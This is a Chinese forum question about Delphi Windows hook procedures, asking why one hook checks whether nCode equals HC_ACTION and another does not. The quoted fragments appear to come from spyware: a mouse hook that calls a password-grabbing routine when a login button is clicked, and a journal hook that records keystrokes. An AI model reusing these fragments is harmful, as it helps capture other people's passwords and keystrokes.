比方说<br>function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;<br>var<br> buffer:array[0..3] of char;<br>begin {鼠标左键按下消息}<br> if wparam=$0201 then // WM_GETTEXT<br> begin<br> SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,$000D,3,Integer(@buffer));<br> if buffer='登' then GetPassWord;<br> end;<br> Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);<br>end;<br>怎么没有判断iCode参数是否为HC_ACTION呢<br>function JournalRecordProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;<br>var<br> Kbs: TKeyboardState;<br> HFile: THandle;<br> WChar: array[0..1] of Char;<br> WSize: DWORD;<br>begin<br> // lParam指向消息结构, 并且, 是键盘按下消息<br> if (nCode = HC_ACTION) and (PEventMsg(lParam).message = WM_KEYDOWN) then[red]<br>这里就要判断它[/red]<br> begin<br> // 取键盘状态<br> GetKeyboardState(Kbs);<br>......<br>如果icode!=HC_ACTION就不能取到鼠标结构本中的内容了.为什么有的要判断,有的却没有判断呢